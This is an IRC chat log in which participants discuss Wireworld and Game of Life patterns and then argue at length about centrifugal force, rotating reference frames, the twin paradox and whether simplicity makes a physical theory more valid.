02:43:22 <oerjan> dev_squid: scarf is the expert on that stuff here i believe
02:44:17 <oerjan> as in, he actually does research with it
02:45:33 <oerjan> vhdl is a keyword to look for
02:48:00 <dev_squid> I see.
02:48:21 <dev_squid> Would a Von Neumann Automaton simulator fit my needs? o.o
02:49:36 <oerjan> the cellular automaton thing? that seems a bit different from real circuits
02:50:20 <dev_squid> I think so.
02:50:25 <dev_squid> Yeah, I assumed as much.
02:50:25 <Gregor> ... a Von Neumann Automaton is presumably, based on the name, not a cellular automaton or even anything particularly similar to a cellular automaton ...
02:51:05 <oerjan> Gregor: http://en.wikipedia.org/wiki/Von_Neumann_cellular_automaton
02:51:23 <Gregor> Oh, interesting :P
02:51:29 <dev_squid> It falls under the category of an automaton, but it can be used to construct CPU models.
02:52:05 <oerjan> dev_squid: note that "automaton" includes more types than cellular ones
02:52:21 <dev_squid> Oh.
02:52:38 <dev_squid> Absolutely.
02:52:43 <oerjan> turing machines, for example
02:52:56 <oerjan> (although those are easy to simulate with cellular ones)
02:53:09 <dev_squid> You know what'd be cool? An esolang based on the Von Neumann Automaton. :)
02:54:25 <dev_squid> Hahah! This looks PERFECT! (http://en.wikipedia.org/wiki/Wireworld)
02:54:56 <Gregor> Wireworld is good fun.
02:55:36 <coppro> epic http://upload.wikimedia.org/wikipedia/en/f/f9/Golly_Constructor_layout.gif
02:57:37 <dev_squid> Oh, you think THAT's epic?! Look at this one...
02:58:08 <dev_squid> See the ticker GIF at the top of (http://golly.sourceforge.net/)?
02:58:37 -!- adu has joined.
02:58:45 <coppro> heh, nice
02:58:54 <dev_squid> That's an actual configuration which I BELIEVE is in Game of Life, but I can't tell.
02:58:57 <coppro> it is
02:59:10 <coppro> those are LWSS guns, I believe
02:59:11 <dev_squid> It's one demo configuration in Golly.
02:59:21 <dev_squid> That's sort of unbelievable. :)
02:59:34 <coppro> actually, I don't know the specific term for those
02:59:45 <coppro> since they're guns, but only trigger when a glider comes by and reflect the glider
03:03:31 <dev_squid> I haven't even looked into Life enough to even know what you're talking about. :)
03:04:18 <coppro> a spaceship is an element that moves on its own without leaving debris or anything; gliders are the basic spaceships that move diagonally
03:04:29 <dev_squid> I see. :)
03:04:32 <coppro> a gun is a pattern that generates spaceships
03:04:44 <dev_squid> Cool.
03:04:46 <coppro> in the right, you can see gliders going back and forth between reflectors
03:05:22 <coppro> and when they get reflected on the middle reflectors, they generate horizontal spaceships
03:05:24 <coppro> which make the pattern
03:06:32 <dev_squid> I read in an article once that you could take a turing-complete automaton like Life and build a working program and that it would be the ultimate form of data compression. :)
03:07:12 <coppro> huh?
03:07:22 <coppro> why?
03:07:50 <pikhq> dev_squid: Doubtful.
03:08:00 <pikhq> Life takes quite a lot of memory.
03:08:32 <dev_squid> Just what I read.
03:08:45 <dev_squid> Hey...
03:09:30 <dev_squid> So Wireworld is probably what I'm looking for?
03:10:56 * coppro wonders if someone has implemented FSG in Golly
03:16:34 <coppro> you know, I sort of like this channel without alise being here all the time
03:18:05 <dev_squid> What's wrong with alise?
03:19:20 <dev_squid> Looks like I'm gonna be addicteed to this thing.
03:22:11 <pikhq> Just some random crap personal stuff.
03:25:33 -!- jcp has quit (Ping timeout: 240 seconds).
03:26:13 <coppro> dev_squid: alise has a habit of loudly attacking anything he doesn't like
03:26:36 <coppro> which is sometimes nice, sometimes not
03:27:22 -!- jcp has joined.
03:32:05 -!- jcp1 has joined.
03:32:08 -!- jcp has quit (Ping timeout: 245 seconds).
03:39:01 <dev_squid> Ah.
03:39:04 -!- jcp1 has changed nick to jcp.
03:52:13 -!- ruhtranayr has quit (Quit: Leaving).
03:56:34 <Sgeo> ....oooohhhkay
03:56:46 <Sgeo> I just had deja vu, except it included stuff that did not happen.
04:01:17 -!- lament has quit (Ping timeout: 260 seconds).
04:02:15 -!- augur has joined.
04:02:25 <augur> oerjan: hello.
04:02:30 <augur> so to continue the previous discussion
04:02:34 <oerjan> noooooo
04:02:53 * oerjan beats augur with the saucepan to induce amnesia ===\__/
04:03:13 <augur> an object that is experiencing the so called "centrifugal" force is an object revolving around some centerpoint
04:03:21 <augur> the force being away from that centerpoint
04:03:54 <augur> but in the rotating reference frame, the object is not moving at all, and thus is, relative to that frame of reference, not experiencing any forces
04:04:16 <augur> and thus there is no centrifugal force on it in the rotating frame of reference
04:05:00 <augur> now certainly its true that in the rotating f.o.r. an object stationary in the non-rotating f.o.r. will appear to move in a circle and therefore will appear to be affected by some force
04:05:06 <augur> but this force is centripetal
04:05:13 <oerjan> not moving at all isn't the same as not experiencing any forces - it just means the forces cancel out
04:05:29 <augur> ok, sure, but then the NET force is zero.
04:06:09 <augur> sure you could invent some imaginary centrifugal force that is perfectly counterbalanced by some other centripetal force, in this rotating f.o.r.
04:06:10 <oerjan> note that the object is pushed inward by the walls of the centrifuge
04:06:29 <augur> well yes, the object IS pushed inward by the wals of the centrifuge
04:06:33 -!- lament has joined.
04:06:34 <augur> but thats a centriPETAL force
04:06:40 <augur> not a centrifugal force.
04:07:10 <oerjan> augur: yes, but in the _rotating_ frame that is canceled _by_ the centrifugal force, precisely to allow the net force to be zero
04:07:36 <augur> oh i see what you're saying
04:07:42 <oerjan> wow
04:07:46 <oerjan> progress :D
04:08:39 <augur> e.g. if you had a mass on a spring, if you calculated the forces acting on the force, you would get that the mass is not experiencing non-zero "gross" force
04:09:10 <augur> for instance. im using a spring because the visual reasoning is easier in such a case
04:09:37 <oerjan> um is this spring inside the centrifuge, or is this completely unrelated?
04:09:40 <augur> yes, ok, definitely. in the rotating frame there would indeed be a centrifugal force.
04:09:48 <oerjan> yay
04:09:58 <augur> object on a spring, revolving around the spring's opposite end
04:10:18 <augur> so that the spring is stretched beyond it's normal length
04:11:12 <augur> but isnt changing, then if you rotated the f.o.r. with the spring, the spring's tensile properties wouldnt change, so the force must be changing
04:11:46 <augur> yes, thats interesting. good point.
04:13:16 <augur> i think the xkcd comic should have worded it more carefully.
04:14:08 <augur> because when i initially read it, i wasnt thinking in these terms, but rather in terms of just constructing the equations for circular motion in a non-rotating reference frame
04:15:59 <oerjan> mhm
04:17:29 <augur> but i think there is good argument that any such derivation of a force is genuinely illegitimate by arguing that rotating frames of reference aren't on the same footing as non-rotating frames of reference
04:18:34 <augur> e.g. from a rotating f.o.r. you would have to have some sort of "5th force"
04:19:39 <oerjan> see general relativity - you get something indistinguishable from a gravitation field
04:19:57 <augur> not gravitational in natural, but rather different, because it has no source, propogates infinitely fast, radiates in only two dimensions, and has a falloff such that all objects, regardless of mass, have precisely the same revolution rate
04:20:36 <oerjan> oh all objects moving the same regardless of mass _is_ a gravitational feature
04:20:46 <coppro> aye
04:20:54 <augur> sorry no what i meant is distance, not mass.
04:21:15 <coppro> they have same revolution rate but varying speeds of revolution
04:21:19 <augur> true
04:21:27 <augur> but this is NOT true of gravity
04:21:39 <oerjan> yeah, that probably has something to do with absence of (nonzero) spacetime curvature
04:21:44 <augur> infact, with a rotating frame, things can move faster than light.
04:22:03 <oerjan> yeah
04:22:19 <augur> the force seems to be really rather different than gravity
04:22:31 <augur> maybe its not, but it seems on its outward appearances to be quite different
04:22:53 <coppro> sure
04:22:57 <coppro> so is any force
04:23:11 <coppro> (except, of course, for gravity)
04:23:16 <coppro> but they are all indistinguishable from gravity in their effectrs
04:23:36 <coppro> s/r[^r]+$//
04:24:17 <augur> right, but what im saying then is that accepting rotating reference frames as on equal footing with non-rotating references frames necessitates the existence of some sort of 5th force
04:24:29 <augur> maybe thats a moot point, right
04:24:44 <augur> maybe there is this fifth force, and it is generated by objects rotating
04:24:50 <augur> and it really does have these properties
04:25:28 <oerjan> oh food ->
04:25:44 <augur> iinm, people have analyzed magnetism as just an illusory relativistic version of the electrostatic force
04:27:08 <augur> but i think really the fact that this 5th force is so radically different, has no force carrier particles, is undetectable except by people in the rotating reference frame, etc. suggests that its not genuine.
04:27:29 <Sgeo> Hm
04:27:43 <augur> i mean, maybe in some sense you could detect the frame dragging of the rotating object, but that would take non-zero time to detect from a non-zero distance
04:27:44 <Sgeo> I should probably do something like retaking an online test I scored poorly on soonish
04:27:56 <augur> whereas the rotating frame would see this force as propogating instantly
04:28:06 <Sgeo> Will be unable to in about half an hour
04:30:29 <augur> also, if we assume that rotating reference frames are genuinely as valid as other reference frames, you have a world in which things can accelerate and decelerate at rates that have no correlation with their mass, the and gain and loose energy on a whim for no apparent reason, but everything in the universe experiences these things simultaneously by necessity
04:31:00 <oerjan> augur: btw don't be so sure about no force carrier particles. see http://en.wikipedia.org/wiki/Unruh_effect
04:31:49 <augur> let me continue :P
04:31:56 <oerjan> although i guess that could be taken as a way to detect which frames were "really" non-accelerating
04:32:29 <augur> i mean, the point is, oerjan, accelerating frames of reference are not equivalent to non-accelerating frames of reference
04:32:51 <augur> the laws of physics as observed in them change. this is not true of a constant motion frame of reference
04:33:41 <oerjan> augur: i guess in general relativity it's actually _free-falling_ frames (which are not global btw) which are special, if any
04:33:57 <augur> he energy content of the universe would INCREASE
04:34:05 <augur> violating the laws of thermodynamics.
04:34:14 -!- Gracenotes has joined.
04:34:19 <augur> theres a conclusive reason to take accelerating frames as generally not valid.
04:35:10 <oerjan> augur: ah but you're forgetting gravitational potential. without that, energy is not preserved even in inertial frames i think
04:35:36 <augur> im not sure what gravitational potential iss
04:35:46 <coppro> the sum total of all energy in the Universe is 0
04:35:56 <oerjan> the potential energy due to height differences, say
04:36:14 <augur> ah, well, in that case i think it would move above 0 for this sort of thing
04:36:22 <augur> unless the fictional force was taken into account maybe
04:37:06 <augur> but are you sure it's zero? because a universe of just EM radiation has energy but no gravity
04:37:13 <oerjan> also, the way general relativity really handles this is by saying the coordinate system doesn't actually matter, only the tensors (which change between systems)
04:37:14 <augur> so the total energy of the universe cant be zero
04:37:29 <oerjan> augur: there is a theory that the total energy is zero
04:37:34 <augur> oh, well.
04:37:49 <oerjan> and that this is how matter/energy could be created in the big bang
04:38:03 <augur> the hypothesized zerolity of the universal energy content should not be considered in this discussion ;P
04:38:18 <oerjan> by being offset by negative energy of the space expansion, iiuc
04:38:48 <oerjan> (during the so-called inflation stage)
04:41:34 <oerjan> oh and one more thing, not all solutions to general relativity equations _have_ a meaningful total energy, so a rotating coordinate system may indeed violate that (i don't know)
04:41:59 <augur> im not saying its not a potential idea, right
04:42:13 <augur> i mean, look, you could say that yes, the laws of the universe are different when viewed in an inertial frame
04:42:16 <augur> er
04:42:19 <augur> in an accelerating frame
04:42:25 <augur> and yes they are just as valid in that frame as well
04:42:29 <augur> despite being very different
04:42:39 <augur> yet they STILL produce the same universe, isnt that interesting and totally cool
04:42:49 <augur> and i'd be on board with that as a queer perspective
04:43:23 <augur> but there would still be a little part of me that would want to say "but is it as simple as the non-accelerating frame? because if not, then its probably not real..."
04:44:55 <oerjan> did you look at that unruh article btw?
04:51:34 <augur> a little bit.
04:51:53 <augur> given that noones actually DETECTED this hypothesized effect...
04:55:56 <oerjan> mhm. it also seems related to hawking radiation, which has the same problem.
04:56:14 <augur> how so?
04:56:22 <augur> you mean energy content of the universe sorts of problems?
04:56:36 <oerjan> not being detected problem :D
04:56:43 <augur> oh
04:56:49 * Sgeo disables tapping on his trackpad
04:56:53 <Sgeo> Or whatever it's called
04:56:55 <augur> hawking radiation has been detected i think
04:57:04 <augur> or maybe its so faint it cant be detected currently
04:57:05 <augur> hm
04:57:12 <oerjan> far too faint
04:58:02 <oerjan> it would take a very small black hole to detect
04:58:47 <oerjan> so maybe if the lhc makes some...
04:59:00 <oerjan> (which is very hypothetical afaiu)
04:59:02 <augur> also, if the unruh effect IS observable, it seems to only be the emission of photons
04:59:05 <augur> not some special force carrier
04:59:36 <augur> which makes the unruh effect unlikely to be justifiably said to be the magic force undergirding the force viewed in an accelerating f.o.r.
04:59:39 <oerjan> well the force carrier would be the same as for gravity, since it's the same mathematics...
04:59:57 <augur> but the behavior wouldnt look like gravity at all
05:00:34 <oerjan> oh well
05:01:22 <augur> all im saying is that i think the rotating frame is arguably not a valid frame of reference.
05:02:10 <augur> and that a reasonable observer viewing a video of the universe filmed on a rotating camera would not conclude that the universe had such and such laws
05:02:23 <augur> but would instead conclude that the camera was spinning.
05:02:31 <augur> and that the universe has the laws we see.
05:03:36 <coppro> watchmaker
05:03:44 <augur> ey?
05:04:06 <coppro> your argument is like the watchmaker argument
05:04:17 <coppro> it relies on an assumption of human intuition
05:04:24 <coppro> which is not valid scientifically
05:08:13 <augur> ok, let me rephrase that
05:08:44 <augur> i think that in the full space of theories, the simplest one, in all possible formal representations possible, would be the one in which the camera is rotating and the universe is not.
05:13:46 <coppro> but there are some differences between rotating and non-rotatin unvierses
05:14:00 <augur> uh?
05:14:03 <coppro> so if the universe is rotating, having it not rotate is not a valid interpretation
05:14:30 <augur> well
05:14:43 <augur> but if the universe IS rotating, then its rotating relative to some non-rotating reference frame
05:14:55 <augur> and the simplest laws should still fall out of the non-rotating reference frame
05:15:06 <augur> the whole point is that you would discover the universe to BE rotating
05:15:18 <augur> whereas with the rotating camera, you dont think the universe is rotating at all
05:15:19 <coppro> no, that's the fun bit
05:15:32 <coppro> the universe can rotate relative to nothing in particular
05:15:36 <augur> you think the universe genuinely is not rotating, but that it has these crazy laws of physics.
05:15:52 <coppro> and this gives different results for some things than if it is not
05:15:54 <augur> coppro: well sure, in some weird way, but you still describe it as rotating
05:16:01 <augur> which is really the point.
05:16:01 <coppro> note 1: I don't know what thos things are
05:16:07 <coppro> note 2: Our universe does not rotate
05:16:07 <augur> the fact that you understand the universe as rotating
05:16:12 <augur> thats the crucial part
05:16:48 <augur> if you accept an actually rotating reference frame as being valid, and say that the rotation is not a feature of the reference frame, its all relative
05:16:56 <augur> in the same way that inertial references frames are all relative
05:17:24 <augur> then you essentiall say that actually no, its acceptable to say the camera isnt rotating, the UNIVERSE is rotating. or the stuff in it is revolving rather.
05:17:27 <coppro> not like that
05:17:31 <augur> which is my point
05:17:45 <augur> you cant take rotation to be relative like you take motion to be relative
05:17:46 <coppro> special relativity would remain valid in a rotating universe
05:17:55 <augur> so inertial equivalencies arent rotational equivalences
05:17:59 <augur> special relativity might
05:18:05 <augur> no, even then it wouldnt
05:18:07 <coppro> yes
05:18:12 <augur> well, in a rotating UNIVERSE, maybe
05:18:15 <coppro> yes
05:18:19 <augur> but im not talking about a rotating universe
05:18:24 <coppro> you aren't?
05:18:26 <augur> im talking about a universe in which the stuff in it is rotating
05:18:34 <coppro> oh
05:18:40 <coppro> well, you could have said so
05:18:40 <augur> take a camera, spin it. you're not saying a "rotating universe"
05:18:55 <coppro> well, either perspective is valid
05:19:03 <augur> you're seeing a universe that isnt rotating, but in which the objects in it all seem to orbit the camera's viewing axis
05:19:11 <coppro> but yes, having the camera rotate is much easier
05:19:18 <augur> and my point is that i think the second perspective is NOT as valid
05:19:50 <augur> because in the grand scheme of things, that hypothesize about the nature of the pictured universe is more complicated than the rotating-camera version
05:20:09 <coppro> they are both valid
05:20:14 <coppro> this is general relativity in a nutshell
05:20:20 <augur> in the same way that sure, you can say that the sun orbits the earth, and everything else orbits the earth too, only in crazy epicycles at infinitum
05:20:42 <augur> sure, thats "equally valid" but its not "equally real" i think.
05:20:51 <augur> also, i dont think thats what general relativity says at all.
05:21:08 <augur> im willing to bet that general relativity addresses the point in a much finer grained way
05:21:09 <coppro> define "real"
05:21:14 <coppro> well, yes
05:21:25 <coppro> but any and every point of reference is valid
05:21:44 <augur> i think the general relativity view would match up with what i mean by valid.
05:22:11 <augur> in fact, im CERTAIN it does, because im just mirroring general relativity.
05:22:32 <augur> the passage of time is "real" on the accelerating object, hence why the twin paradox exists
05:22:34 <coppro> can you perform all calculations assuming that everything in the universe is orbiting around a fixed point? yes. Is it useful? no
05:22:48 <augur> no no but coppro
05:22:50 <augur> thats the thing ok
05:23:07 <augur> in general relativity, i think the point is that the UNIVERSE rotating is equally valid
05:23:19 <augur> but the UNIVERSE rotating is not the same thing as the stuff IN IT rotating
05:23:22 <coppro> the twin paradox exists due to the difference in perspective relative to the rest of the universe
05:23:27 <augur> right
05:23:30 <augur> but thats the point!
05:23:44 <augur> the REST universe is not merely the "rest" universe, as in the one not moving
05:23:48 <augur> but rather, the one NOT ACCELERATING
05:24:10 <augur> the twin paradox ceases to exist if both twins set off in rockets at different times
05:24:27 <coppro> the twin paradox also ceases to exist if the only two things in the Universe are the two twins
05:24:29 <augur> it crucially depends on precisely ONE of them experiencing more acceleration than the other.
05:24:39 <augur> no it doesnt cease toe xist
05:25:10 <coppro> yes, because there is nothing against which to reference the acceleration
05:25:28 <augur> ok let me prove to you in a galileian way how you're wrong
05:25:36 <augur> suppose that one twin is a pig
05:25:40 <augur> as in, loves to eat
05:25:52 <augur> he eats SO MUCH that he eats everything in the universe, except his brother
05:26:18 <augur> now there are just two things in the universe
05:26:19 <augur> the twins
05:26:24 <augur> one of which is really _Really_ fat
05:26:39 <augur> but according to you, the twin paradox should vanish now
05:27:11 <augur> but the relative motions of the masses of the universe is identical
05:27:26 <augur> one twin, the thin one, is moving away from the other twin, accelerating at such and such a rate
05:27:43 <augur> but this twin being so piggish is merely academic.
05:27:57 <augur> we could tie the mass to that twin and the effect would be the same
05:28:12 <augur> infact, why bother with the rope, since the masses arent moving relative to one another, we can cut the rope too
05:28:16 <augur> and now we're back at the universe as it is
05:28:17 <coppro> but because there is nothing else to refer to, you can equally say that the other twin is accelerating away
05:28:23 <augur> no you cant!
05:28:27 <augur> thats the POINT of the twin paradox!
05:28:32 <augur> that is NOT what GR says
05:28:44 <coppro> which breaks down when there is nothing else in the universe
05:28:52 <augur> no it doesnt
05:29:00 <coppro> example: If there is only one particle in the universe, it experiences no force if accelerated
05:29:20 <augur> if there is only one particle in the universe, it cant accelerate.
05:29:27 <augur> because there would be no forces acting upon it.
05:29:35 <augur> modulo quantum weirdness.
05:29:46 <augur> a prior theres no forces acting on it
05:29:54 <augur> because to have a force acting on it, you need a force carrier particle
05:29:59 <augur> thus at least two particles
05:30:20 <augur> the only case where the twin paradox can "vanish" is in a case where it cant even happen!
05:30:41 <augur> by necessity there is ALWAYS other matter in the universe
05:32:10 <coppro> you're missing the point
05:32:16 <augur> no, _you're_ missing the point
05:32:33 <augur> which is that reality doesnt work like you say it does
05:32:36 <augur> demonstrably.
05:32:40 <augur> as was just demonstrabled.
05:32:47 <coppro> you never demonstrated it
05:32:51 <augur> i just did.
05:33:00 <coppro> you provided a thought experiment with incorrect conclusions
05:33:07 <augur> there is no possible way to accelerate a particle if its the only particle in the universe.
05:33:16 <coppro> precisely the point
05:33:18 <augur> and since the 1-particle-universe is the only one in which you're correct
05:33:28 <augur> or rather
05:33:34 <augur> the only one in which you could even POSSIBLY be correct
05:33:51 <augur> and since we know that in THAT universe, theres no actual way for you to be correct
05:33:54 <augur> you must not be correct.
05:34:00 <coppro> I'd find you a paper, except the book I have which cites it is upstairs and I don't feel like paging through it
05:34:15 <augur> you'd find me a paper and i would show you why the paper agrees with me ;)
05:35:34 <augur> maybe you're right in some imaginary not-real universe in which force and thus acceleration isnt transmitted by force carriers
05:35:36 <augur> maybe you're right
05:35:47 <augur> but thats a universe that doesn't exist.
05:36:11 <augur> the real universe is one in which the non-accelerating frame is the true frame of reference.
05:38:05 <coppro> I shall conclude this argument with a brief quote from Wikipedia
05:38:07 <coppro> "As part of the general theory, all reference frames are equivalent, even rotating frames. "
05:38:40 <augur> yes, but like i said, i think the GR notion of "equivalence" is different than what we're using here.
05:40:56 <augur> i think the GR notion of equivalence is closer to "has a consistent physical analysis that can describe the same physical phenomena"
05:41:06 <augur> e.g. a symmetry
05:41:51 <augur> and i think that is entirely true. im willing to BET that rotating reference frames, like the rotating camera, DEMAND general relativity in order to describe them correctly.
05:42:43 <augur> that is, if physicists from another dimension saw a video taken on a rotating camera, they'd have to invent general relativity to fully describe the physical laws they saw, if they were assuming that the camera wasn't rotating but that the rest of the universe's objects were revolving around some point.
05:42:48 <augur> i would BET that that is true.
05:42:52 -!- jcp has quit (Ping timeout: 276 seconds).
05:43:07 <coppro> quite possibly
05:43:43 <coppro> but surely they'd have to invent it anyways, as it is a required part of describing all phenomena in a non-rotating universe as well?
05:44:49 <augur> well, not necessarily. i mean, maybe its true that a priori the laws of physics make this so, regardless of the laws of physics
05:45:17 <augur> but maybe not. it could entirely be that what we're calling general relativity is just an artifact of our incorrect assumptions about the nature of the universe
05:45:29 <augur> and that its merely an illusion
05:45:31 <coppro> for instance, newtonian gravity would be insufficient
05:45:41 <augur> sure, but you'd have this 5th force remember
05:45:45 <augur> plus god knows what else
05:45:53 <augur> newtonian gravity couldnt even be conceived of
05:46:17 <augur> the entire set of laws would be different
05:46:25 <coppro> I mean in a non-rotating frame of reference
05:46:29 <augur> oh, sure
05:49:07 <coppro> so either way they'd have to construct the same laws in the end
05:49:17 -!- jcp has joined.
05:49:46 <augur> well, laws that would, i really really suspect, but relatable VIA general relativity
05:51:21 <coppro> huh?
05:52:04 <augur> i think it would be general relativity that would relate the two different versions of physics. that GR provides the isomorphism, hence why it IS true that rotating frames are "equivalent"
05:52:45 <augur> but thats a hunch, i dont know.
05:53:12 <augur> but i think that GR is necessary to describe our universe precisely because you need to be able to do that kind of isomorphism
05:53:21 <augur> or whatever kind of morphism it'd be
05:54:24 <coppro> I'm sort of confused now
05:54:44 <augur> nevermind :p
05:54:53 <coppro> ok
06:00:42 -!- lament has quit (Ping timeout: 252 seconds).
06:02:16 -!- lament has joined.
06:03:16 -!- oerjan has quit (Quit: Good night).
06:06:34 <augur> coppro: ok, heres my explanation of what i meant
06:06:42 <augur> i think that if you tried to describe the cameraverse
06:06:58 <augur> you would read a point where you would invent the _exact_ same GR equations
06:07:21 <augur> and in doing so, camera einstein would draw the same conclusions about rotating reference frames
06:07:35 <augur> because in cameraverse, a rotating reference frame makes the universe look like realverse
06:08:37 <augur> not merely that you would have to invent some sort of equivalent of GR, but that the equations of GR are the same regardless of the starting point, because they're equations that relate different models of physical law
06:08:46 <augur> rather than equations that merely describe a new kind of physical law
06:10:29 <coppro> Okay, I agree
06:10:43 <augur> thats my suspicion
06:10:50 <coppro> now explain how you didn't just prove the equivalence of a universe with nothing rotating and with everything rotating?
06:11:13 <augur> well, i think thats the _GR_ notion of equivalence
06:11:31 <coppro> your argument is that you would make the exact same equations
06:11:36 <coppro> therefore they are not equivalent?
06:11:40 <augur> but thats not the notion of equivalence that i was using in this discussion. actually, i tried to stick to "equally valid" but whatever
06:11:50 <augur> theyre GR equivalent, yes.
06:11:56 <augur> but i dont think they're equally _valid_
06:12:06 <coppro> what do you define as equally valid?
06:12:32 <augur> more real, in a deutchean sense of real
06:12:41 <augur> deutschean**
06:12:56 <coppro> I don't quite follow
06:13:06 <augur> that is, if you have two models, one of which is simpler, and the other is just a coy rephrasing of the one, by playing some complication tricks
06:13:10 <coppro> namely because I don't know that word
06:13:25 <augur> then the simpler one is more valid as a view on what reality is like
06:13:37 <coppro> I disagree
06:13:39 <augur> e.g. sure, epicycles can model the solarsystem perfectly well
06:13:48 -!- jcp has quit (Remote host closed the connection).
06:14:20 <augur> but the heliocentric solar system is simpler, the epicyclic model merely looks like a convoluted attempt to describe a heliocentric model as if it were geocentric
06:14:29 <coppro> complexity is not, in my mind, the reason that the geocentric system is incorrect
06:14:33 <augur> so the heliocentric model is more valid as a guess as to what reality is like.
06:14:54 <augur> well, but coppro, you can certainly construct some insane physical theory in which the universe _IS_ geocentric
06:15:10 <coppro> augur: Sure, but the planets would still rotate the sun
06:15:17 <augur> well no thats my point
06:15:18 <coppro> (the other planets, that is)
06:15:26 <augur> you could construct a version where the planets DONT revolve around the sun
06:15:28 <augur> they just APPEAR to
06:15:46 <coppro> only superficially
06:15:53 <augur> ah but what is superficial?
06:15:58 <augur> this is just reference frame stuff
06:16:04 <coppro> Superficial in the sense that it would only function so far
06:16:11 <augur> no i dont think so
06:16:30 <augur> i think it would be completely possible to have a model of physics in which the entire thing is consistent with known facts AND is geocentric
06:16:35 <coppro> you would have to invent relativity and quantum mechanics at some point
06:16:59 <augur> well, at that point we're not talking about solar-system centricity anymore
06:17:05 <coppro> but we are
06:17:09 <augur> no
06:17:10 <coppro> the universe needs to be taken as a whole
06:17:19 <augur> yes, but thats what im saying
06:17:54 <augur> if you believe the universe is geocentric, which is to say that it revolves around the earth, as opposed to its center of mass (if one exists), i think the laws could still work out
06:17:59 <augur> but they'd be complicated as hell
06:18:17 <augur> or maybe they'd just be some sort of vector translation over current laws, who knows
06:18:38 <coppro> this is why, for instance, Newtonian mechanics failed at describing the precession of Mercury accurately
06:19:03 <augur> sure, but that doesnt mean you cant embellish the theory further and further
06:19:16 <augur> i think it would be entirely possible to embellish
06:19:31 <augur> i just think the embellishments would be some sort of coy recoding of heliocentricity
06:19:41 <coppro> You can
06:19:45 <augur> and thats my point
06:19:58 <augur> you have this intuition that coy recoding is not a valid translation of reference frames
06:20:08 <coppro> If you embellished it enough, you would result at a theory as accurate as general relativity that was far more complex but equally valid
06:20:09 <augur> and i think that the GR-rotating-frame thing is merely a coy recoding.
06:20:21 <coppro> I do not have such an intuition
06:20:36 <augur> you apparently have this belief that heliocentrism is more valid than geocentrism
06:20:38 <augur> therefore you do.
06:21:05 <augur> unless you're changing your mind and saying that yeah what the heck, the solar system is geocentric and the different embellished physics is just as valid.
06:21:32 <coppro> I have a belief that no one has yet come up with any geocentric theory as accurate as our heliocentric ones
06:22:01 <augur> true, but who's been trying for the last 500 years.
06:22:06 <coppro> A geocentric theory, if embellished to the point of agreeing precisely with our best heliocentric theories, will be accurate
06:22:08 <coppro> and thus valid
06:22:11 <augur> and why bother? itll be a horrendous theory
06:22:29 <augur> the heliocentric solarsystem is simpler, makes more sense, etc.
06:22:38 <augur> its just better
06:22:57 <augur> and i would say a more valid model of what the universe is REALLY like
06:23:08 <coppro> Oh, I completely agree
06:23:15 <coppro> the heliocentric model would be much cleaner and nicer
06:23:17 <coppro> but no more valid
06:23:22 <augur> im just taking david deutscher's line here, btw.
06:23:33 <coppro> do note that you must include the other criterion of theoretical validity though
06:23:35 <augur> er, deutsch**
06:23:42 <coppro> which is the amount of prediction a theory makes
06:23:55 <augur> well, im considering equally accurate models.
06:24:17 <coppro> if your geocentric theory cannot accomodate a brand new object placed somewhere between here and the sun without manually finangling with it, the theory is less valid, since our heliocentric theory can
06:24:28 <augur> i mean, this is verging on metaphysics here, ill be honest, ok
06:24:49 <augur> two completely extensionally equivalent models can, i think, differ in how valid they are as models of reality
06:24:52 <coppro> simplicity is not, in and of itself, a test of validity
06:24:57 <coppro> in my opinion
06:25:06 <augur> i dont care about your opinion. this is obvious. :P
06:25:11 <coppro> no, it's intuitive
06:25:20 <coppro> which is different from correct
06:25:22 <augur> i think reality is simple.
06:25:25 <coppro> see: Paley's watchmaker argument
06:25:31 <coppro> fact: reality is not simple
06:25:37 <augur> his watchmaker argument is unrelated to this.
06:25:41 <coppro> not at all
06:25:44 <augur> yes, it is.
06:25:50 <coppro> your falling prey to the exact same fallacy
06:25:54 <augur> no, i'm not.
06:26:02 <augur> because his argument is in FAVOR of simplicity.
06:26:27 <augur> well, the argument against his argument, rather.
06:26:38 <augur> evolutionary biology is simpler than God.
06:26:42 <augur> this is why paley is wrong.
06:26:54 <coppro> that's not why Paley is wrong
06:27:03 <augur> i just believe occam's razor wholeheartedly
06:27:15 <coppro> Paley is wrong because his argument starts with the assumption that the watch is too complex to be natural
06:27:19 <augur> i dont think occam's razor is a methodological tool, i think its a fact about reality.
06:27:36 <coppro> augur: do you know anything about quantum physics? How the fuck is that simple?
06:27:51 <coppro> augur
06:28:01 <augur> quantum mechanics is probability in 3 dimensions, or something along those lines.
06:28:16 <coppro> *augur: Think about math. There is a set-theoretical definition of the integers that is just as valid as the version that just uses numerals
06:28:22 <augur> its actually quite beautifully simple when you work it out from a non-historigenic perspective.
06:28:34 <coppro> the fact that it is more complex does not make it incorrect
06:29:04 <augur> you can derive the core weirdness of QM almost entirely from taking normal probability and augmenting it with like one extra dimension for degrees of freedom, or something like that.
06:29:26 <augur> coppro: i didnt say incorrect
06:29:28 <augur> you're not listening
06:29:34 <augur> i said less real.
06:30:17 <coppro> you said less valid
06:30:27 <augur> yes, valid, as a model of whats real.
06:30:40 <Gregor> This conversation becomes a billion times funnier if I replace "non-historigenic" by "non-hystorigenic"
06:30:52 <augur> which is to say, how close it is to looking like the way the thing actually is
06:30:52 <coppro> valid only has one meaning with regards to theories
06:30:57 <coppro> as I've explained
06:31:08 <coppro> #1: Does it match all observations
06:31:12 <coppro> #2: Does it make predictions
06:31:15 <augur> well luckily the original context of its use in this discussion wasnt in regards to theories!
06:31:25 <coppro> Sure it was
06:31:29 <augur> but rather in regards to frames of reference
06:31:34 <augur> a frame of reference is not a theory
06:31:35 <coppro> All physical laws are theories
06:31:44 <augur> yes but a frame of reference isnt a physical law.
06:31:55 <coppro> In the context in which you are using it, it is
06:32:02 <augur> we've drifted over into the physical law territory at this point
06:32:03 <augur> yes this is true
06:32:38 <augur> but we started with frames of reference, and i assumed that an intelligent person like you would be smart enough to understand that the word was being used to mean the same thing, despite the conventionally different usage when applied to theories
06:32:52 <coppro> now, as I said, a theory could be considered more valid because it makes more predictions
06:33:07 <augur> as i said coppro, you're wrong.
06:33:12 <coppro> why?
06:33:27 <augur> because the sense of valid i have been using throughout the conversation is the one i started with
06:33:36 <augur> which happens to have been used in a context of frames of reference, not theories
06:33:43 <coppro> I disagree that there is any significant difference
06:33:53 <augur> and i dont give a shit
06:33:57 <augur> because there IS a difference.
06:34:02 <augur> a frame of reference is not a theory.
06:34:17 <augur> therefore your idea of validity for theories is irrelevant.
06:34:20 <coppro> There is a theory of which frame of reference is correct
06:34:29 <augur> if you disagree with this, then were merely arguing over the lexical semantics of the word "valid"
